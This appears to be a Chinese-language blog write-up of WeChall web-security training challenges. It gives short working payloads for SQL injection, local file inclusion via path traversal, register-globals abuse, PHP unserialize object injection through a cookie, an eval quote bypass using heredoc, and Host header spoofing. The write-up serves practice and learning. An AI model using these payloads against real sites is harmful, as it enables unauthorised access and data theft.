WeChall Writeup

年轻人,要多撸题,多看书,少打游戏,少打炮..

0x00 No Escape

看源码, 是sql注入.
payload: index.php?vote_for=bill=111%23`

0x01 Training: PHP LFI

看源码, 文件包含漏洞.
payload: index.php?file=../../solution.php%00

0x02 PHP 0817

这个比较傻..不多说.
payload: index.php?which=solution

##0x03 Training: Register Globals

全局变量的问题,,上次看到过,,不过现在的php已经没这漏洞了…(PHP还是那么老版本的活该..)
payload: globals.php?login[]=admin

0x04 Are you serial

这个有点屌…放代码吧..

1
2
3
4
5
6
7
8
9
10
11
<?php
function my_autoloader($classname)
{

require_once './'.str_replace('.', '', $classname).'.php';
}
function cece($name){
echo $name;
}
spl_autoload_register('cece');
#spl_autoload_register('my_autoloader');
$user = unserialize('O:7:"phpinfo":0:{}');

这题的重点就在于 spl_autoload_register 这个函数.
解序列化后的如果有类, 而且当前程序中未定义该类, 则会自动把该类的名称传值到 (sql_autoload_register(xxx)) xxx函数中.
这题只要能运行 SERIAL_Solution.php 这个文件就算成功

所以最后的payload是改cookie,
serial_user 的值为 O:15:"SERIAL_Solution":0:{}

0x05 PHP 0819

第一次知道php还有这鬼东西….heredoc

1
2
3
4
5
echo <<<suibian
正文
正文
suibian;

// 格式应该是 <<<+任意字符x+换行+字符串+换行+任意字符x+;

这题的目的 eval("\$spaceone='1337';");
但是引号都被过滤了…所以就可以用上面的那个代替引号…这里由于eval的原因, 结尾还要再来一个换行
payload: index.php?eval=<<<r%0a1337%0ar;%0a

0x06 HOST me

这题一看就知道是去改host, 不过比较坑….改成 host:localhost 后会报错…纠结了好久..
网上查了以下才知道…需要….
payload:

1
2
3
//只把要修改的行列出来
GET http://www.wechall.net/challenge/space/host_me/index.php HTTP/1.1
Host: localhost

0x07 PHP 0815

这题有点屌…这题的大概意思是它给你的代码存在sqli, 然后让你给出修补的方案, 要给出最短, 还不会影响原程序的方案…
表示并不会, 只看出了应该是修改 in_array 这里..
到网上搜索后才知道, 需要把 $show 转换为int 型, 有 int()intval() 然而答案要最短,
最短的黑魔法…. –> $show - 0
提交 in_array($show-0, $whitelist) 竟然不对…坑爹的…最后提交 -0 过了..

最后, 我在想,, 这脚本有sqli? 怎么日? ….然后试了一下…果然有…

1
2
3
#code.php?show=1%20union%20select%201%23
Query: SELECT 1 FROM `table` WHERE `id`=1 union select 1#
SHOWING NUMBER 1 union select 1#

文章目录
  1. 1. 0x00 No Escape
  2. 2. 0x01 Training: PHP LFI
  3. 3. 0x02 PHP 0817
  4. 4. 0x04 Are you serial
  5. 5. 0x05 PHP 0819
  6. 6. 0x06 HOST me
  7. 7. 0x07 PHP 0815